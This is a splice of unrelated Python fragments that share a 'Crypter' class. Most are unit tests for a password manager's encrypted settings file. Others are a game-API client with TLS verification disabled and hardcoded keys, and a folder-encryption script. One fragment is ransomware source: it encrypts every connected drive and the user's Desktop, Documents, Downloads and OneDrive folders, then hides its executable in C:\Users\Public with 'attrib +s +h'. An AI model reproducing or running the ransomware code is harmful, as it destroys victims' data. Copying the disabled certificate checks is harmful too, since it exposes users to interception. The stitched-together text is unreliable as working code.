def test_get_export_data(self): settings = { 'settings': { 'unit.test': { 'domain': 'unit.test', 'extras': '#!"§$%&/()[]{}=-_+*<>;:.', 'passwordTemplate': 'xnxoaAxxxx', 'iterations': 5000, 'notes': 'Nice note!', 'salt': 'cGVwcGVy', 'cDate': '2011-02-12T11:07:31', 'mDate': '2011-02-12T11:07:32' }, 'some.domain': { 'domain': 'some.domain', 'extras': '6478593021', 'passwordTemplate': 'xnxoaA', 'iterations': 4096, 'salt': 'cGVwcGVy', 'cDate': '2013-06-17T04:03:41', 'mDate': '2014-08-02T10:37:12' } }, 'synced': [] } salt = os.urandom(32) kgk_manager = KgkManager() kgk_manager.set_preference_manager(self.preference_manager) kgk_manager.create_new_kgk() kgk_block = kgk_manager.create_and_save_new_kgk_block( Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3))) crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager) f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw') f.write(salt + kgk_block + crypter.encrypt( struct.pack('!I', 0) + Packer.compress(json.dumps(settings).encode('utf-8')))) f.close() self.preference_manager.read_file() self.manager.load_local_settings(kgk_manager) data = b64decode(self.manager.get_export_data(kgk_manager)) self.assertEqual(b'\x01', data[:1]) salt = data[1:33] kgk_crypter = Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3)) kgk_manager2 = KgkManager() kgk_manager2.set_preference_manager(self.preference_manager) kgk_manager2.decrypt_kgk(data[33:145], kgk_crypter) settings_crypter = PasswordSettingsManager.get_settings_crypter( kgk_manager2) self.assertEqual( settings['settings'], json.loads( str(Packer.decompress(settings_crypter.decrypt(data[145:])), encoding='utf-8')))
def test_store_local_settings(self): abc_setting = self.manager.get_setting('abc.de') abc_setting.set_template('xAxonaxxxx') self.manager.set_setting(abc_setting) new_setting = PasswordSetting('hugo.com') new_setting.set_template('xonxAxxaxxxx') self.manager.set_setting(new_setting) kgk_manager = KgkManager() kgk_manager.set_preference_manager(self.preference_manager) kgk_manager.create_new_kgk() salt = os.urandom(32) kgk_manager.create_and_save_new_kgk_block( Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3))) self.manager.store_local_settings(kgk_manager) with open(os.path.expanduser('~/.ctSESAM_test.pws'), 'br') as f: data = f.read() settings_crypter = PasswordSettingsManager.get_settings_crypter( kgk_manager) decrypted_settings = settings_crypter.decrypt(data[144:]) sync_settings_len = struct.unpack('!I', decrypted_settings[:4])[0] data = json.loads( Packer.decompress( decrypted_settings[4 + sync_settings_len:]).decode('utf8')) self.assertEqual('abc.de', data['settings']['abc.de']['domain']) self.assertEqual('xAxonaxxxx', data['settings']['abc.de']['passwordTemplate']) self.assertEqual('hugo.com', data['settings']['hugo.com']['domain']) self.assertEqual('xonxAxxaxxxx', data['settings']['hugo.com']['passwordTemplate'])
def test_get_kgk_has_kgk(self): kgkm = KgkManager() self.assertEqual(b'', kgkm.get_kgk()) self.assertFalse(kgkm.has_kgk()) kgkm.kgk = b"\xE4" * 64 kgkm.kgk_crypter = Crypter( Crypter.createIvKey(b'1234', b'pepper', iterations=3)) self.assertEqual(b"\xE4" * 64, kgkm.get_kgk()) self.assertTrue(kgkm.has_kgk())
def get_settings_crypter(kgk_manager): """ Creates a settings crypter :param kgk_manager: a kgk manager :type kgk_manager: KgkManager :return: Crypter for settings :rtype: Crypter """ return Crypter(Crypter.create_key(kgk_manager.get_kgk(), kgk_manager.get_salt2()) + kgk_manager.get_iv2())
def post_execute(self): key_iv = self.queue.get() self.process.join() self.kgk_manager.decrypt_kgk(self.preference_manager.get_kgk_block(), Crypter(key_iv)) self.settings_manager.load_local_settings(self.kgk_manager) for i in reversed(range(self.domain_edit.count())): self.domain_edit.removeItem(i) self.domain_edit.insertItems(0, self.settings_manager.get_domain_list()) self.domain_edit.textChanged.emit(self.domain_edit.lineEdit().text())
def test_get_domain_list(self): settings = { 'settings': { 'unit.test': { 'domain': 'unit.test', 'extras': '#!"§$%&/()[]{}=-_+*<>;:.', 'passwordTemplate': 'xxxaoxxAxxn', 'iterations': 5000, 'notes': 'Nice note!', 'salt': 'cGVwcGVy', 'cDate': '2011-02-12T11:07:31', 'mDate': '2011-02-12T11:07:32' }, 'some.domain': { 'domain': 'some.domain', 'extras': '#!"§$%&/()[]{}=-_+*<>;:.', 'passwordTemplate': 'xxxo', 'iterations': 4096, 'salt': 'cGVwcGVy', 'cDate': '2013-06-17T04:03:41', 'mDate': '2014-08-02T10:37:12' } }, 'synced': [] } salt = os.urandom(32) f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw') data = json.dumps(settings).encode('utf-8') kgk_manager = KgkManager() kgk_manager.set_preference_manager(self.preference_manager) kgk_manager.create_new_kgk() kgk_block = kgk_manager.create_and_save_new_kgk_block( Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3))) crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager) f.write(salt + kgk_block + crypter.encrypt(struct.pack('!I', 0) + Packer.compress(data))) f.close() self.preference_manager.read_file() self.manager.load_local_settings(kgk_manager) self.assertIn('settings', self.manager.get_settings_as_dict()) self.assertIn('unit.test', self.manager.get_settings_as_dict()['settings']) self.assertEqual( settings['settings']['unit.test'], self.manager.get_settings_as_dict()['settings']['unit.test']) self.assertIn('some.domain', self.manager.get_settings_as_dict()['settings']) self.assertEqual( settings['settings']['some.domain'], self.manager.get_settings_as_dict()['settings']['some.domain']) self.assertEqual(settings, self.manager.get_settings_as_dict())
def test_load_settings_from_file(self): settings = { 'settings': { 'unit.test': { 'domain': 'unit.test', 'passwordTemplate': 'xxxxxxxxxxo', 'extras': '#OWspx6;3gov0/1', 'iterations': 5000, 'notes': 'Nice note!', 'cDate': '2011-02-12T11:07:31', 'mDate': '2011-02-12T11:07:32' }, 'some.domain': { 'domain': 'some.domain', 'passwordTemplate': 'oxxx', 'extras': '6478593021', 'cDate': '2013-06-17T04:03:41', 'mDate': '2014-08-02T10:37:12' } }, 'synced': [] } salt = os.urandom(32) data = json.dumps(settings).encode('utf-8') kgk_manager = KgkManager() kgk_manager.set_preference_manager(self.preference_manager) kgk_manager.create_new_kgk() kgk_block = kgk_manager.create_and_save_new_kgk_block( Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3))) crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager) f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw') f.write(salt + kgk_block + crypter.encrypt(struct.pack('!I', 0) + Packer.compress(data))) f.close() self.preference_manager.read_file() self.manager.load_local_settings(kgk_manager) self.assertIn('unit.test', self.manager.get_domain_list()) self.assertIn('some.domain', self.manager.get_domain_list()) self.assertEqual('xxxxxxxxxxo', self.manager.get_setting('unit.test').get_template()) self.assertEqual( 5000, self.manager.get_setting('unit.test').get_iterations()) self.assertEqual('Nice note!', self.manager.get_setting('unit.test').get_notes()) self.assertEqual( 'oxxx', self.manager.get_setting('some.domain').get_template()) self.assertEqual( '6478593021', self.manager.get_setting('some.domain').get_character_set())
def __init__(self): self.crypter=Crypter() self.base='https://g-api.grandsummoners.com/app/' self.s=requests.Session() self.s.headers.update({'Content-Type':'application/x-www-form-urlencoded','Connection':'keep-alive','User-Agent':'B_megamistrike/53 CFNetwork/808.2.16 Darwin/16.3.0','Accept-Language':'en-gb','Accept-Encoding':'gzip, deflate'}) self.s.verify=False self.app_hash='5f487dc2427b3b369757cb587656c806' self.app_version=31 self.master_version=404 self.resource_version=183 self.platform_type = 1 self.key='ZFlyUU0ycFJaTVlFRkVoaA==' self.useNewKey=False self.device_id=None self.session_id=None
def test_decrypt(self): ciphertext = b'EFEgY5bexGnwjGSUQKK35TPD7fAjG66REq5m9N1eyFHrZQwzv+aLc7bVmJ9FzCyxbCnbyUnzDKiY505br' + \ b'oEb+KO41XKW668xJzh/JvOK0Cu/+bc4/zSFHZM6JsTYEVDIXgR39ZlypeB34jDVI2544w1ey+DmTWbe8n' + \ b'UbagjnmRkok6kOAq8Avsf9BVJMw3BnSn/4cCC+gOxOJY5fp4DecNDQnp0HyyUz2VMMh/JUYILS5+67fXq' + \ b'29CbIQ1DOTqDfqRPA62nkRVPY83cKIe/UXw==' self.assertEqual(0, len(b64decode(ciphertext)) % 16) password = "******" crypter = Crypter( Crypter.createIvKey(password.encode('utf-8'), "pepper".encode('utf-8'), iterations=3)) self.assertEqual( b'Important information with quite some length. ' + b'This message is as long as this because otherwise only one cipher block would ' + b'be encrypted. This long message insures that more than one block is needed.', crypter.decrypt(b64decode(ciphertext)))
def __init__(self): self.crypter = Crypter() self.base = 'https://g-api.grandsummoners.com/app/' self.s = requests.Session() self.s.headers.update({ 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'keep-alive', 'User-Agent': 'Grand%20Summoners/145 CFNetwork/808.2.16 Darwin/16.3.0', 'Accept-Language': 'en-gb', 'Accept-Encoding': 'gzip, deflate' }) self.s.verify = False self.app_hash = 'c8fb64652fcdfb325012c09f7efea208' self.app_version = 33 self.master_version = 438 self.resource_version = 191 self.scenario_master_version = 150 self.key = 'ZFlyUU0ycFJaTVlFRkVoaA==' self.useNewKey = False self.device_id = None self.session_id = None
def __init__(self): self.crypter = Crypter() self.base = 'https://g-api.grandsummoners.com/app/' self.s = requests.Session() self.s.headers.update({ 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'keep-alive', 'User-Agent': 'Grand%20Summoners/170 CFNetwork/1121.2.2 Darwin/19.3.0', 'Accept-Language': 'en-gb', 'Accept-Encoding': 'gzip, deflate' }) self.s.verify = False self.app_hash = 'd8fea9d2539d2f4da9ca3fd3cf7d27ea' self.app_version = 39 self.master_version = 510 self.resource_version = 210 self.scenario_master_version = 170 self.key = 'ZFlyUU0ycFJaTVlFRkVoaA==' self.useNewKey = False self.device_id = None self.session_id = None
def test_update_from_sync(self): settings = { 'settings': { 'unit.test': { 'domain': 'unit.test', 'passwordTemplate': 'xxaAnoxxxxx', 'iterations': 5000, 'notes': 'Nice note!', 'salt': 'cGVwcGVy', 'usedCharacters': 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQRTUVWXYZ0123456789' + '#!"§$%&/()[]{}=-_+*<>;:.', 'cDate': '2011-02-12T11:07:31', 'mDate': '2011-02-12T11:07:32' }, 'some.domain': { 'domain': 'some.domain', 'passwordTemplate': 'oanA', 'iterations': 4096, 'salt': 'cGVwcGVy', 'usedCharacters': '6478593021', 'cDate': '2013-06-17T04:03:41', 'mDate': '2014-08-02T10:37:12' } }, 'synced': [] } salt = os.urandom(32) kgk_manager = KgkManager() kgk_manager.set_preference_manager(self.preference_manager) kgk_manager.create_new_kgk() kgk_block = kgk_manager.create_and_save_new_kgk_block( Crypter(Crypter.createIvKey('xyz'.encode('utf-8'), salt))) crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager) f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw') f.write(salt + kgk_block + crypter.encrypt( struct.pack('!I', 0) + Packer.compress(json.dumps(settings).encode('utf-8')))) f.close() self.preference_manager.read_file() self.manager.sync_manager = MockSyncManager(kgk_manager.get_kgk()) self.manager.load_settings(kgk_manager, 'xyz') self.assertIn('unit.test', self.manager.get_domain_list()) self.assertIn('some.domain', self.manager.get_domain_list()) self.assertIn('third.domain', self.manager.get_domain_list()) self.assertEqual( 5001, self.manager.get_setting('unit.test').get_iterations()) self.assertEqual( 4096, self.manager.get_setting('some.domain').get_iterations()) self.assertEqual( 4098, self.manager.get_setting('third.domain').get_iterations()) file = os.path.expanduser('~/.ctSESAM_test_extra.pws') if os.path.isfile(file): try: import win32con import win32api win32api.SetFileAttributes(file, win32con.FILE_ATTRIBUTE_NORMAL) except ImportError: pass os.remove(file)
def __init__(self, parser, password): self.crypter = Crypter(password) self.parser = parser
def crypt_all() -> None: """ This function uses the list of possible paths for drivers connected to the machine from the "util" file to encrypt them (only available on Windows). """ for drive in drivers: try: chdir(drive + '/') crypter.crypt_directory(drive) except FileNotFoundError: continue except PermissionError: continue crypter = Crypter() desktop = expanduser('~/Desktop') documents = expanduser('~/Documents') downloads = expanduser('~/Downloads') onedrive = expanduser('~/OneDrive') dst = argv[0] # These lines use system commands to hide the ransomware file # (to be placed in C:\Users\Public\filename.exe). try: dst = r'C:\Users\Public\{}'.format(argv[0]) command = f'attrib +s +h {dst}' copyfile(argv[0], dst) system(command)
dest = sys.argv[2] # Source folder does not exitsts if not os.path.isdir(src): print("Error: Source folder doesn't exists.") exit(1) # Dest can not be the same as source if dest == src: print( "Error: Destination directory can't be the same as source directory!" ) exit(1) # Init Crypter crypter = Crypter(verbose) # Print warning select = input( "Content of destination directory will be removed (if exists). Do you want continue? [y/n]\n" ) if (select != "y") and (select != "yes"): exit(0) temp = dest + '/temp' # Print init info print("Initializing...") crypter.initialize(src, dest) # Print analyze info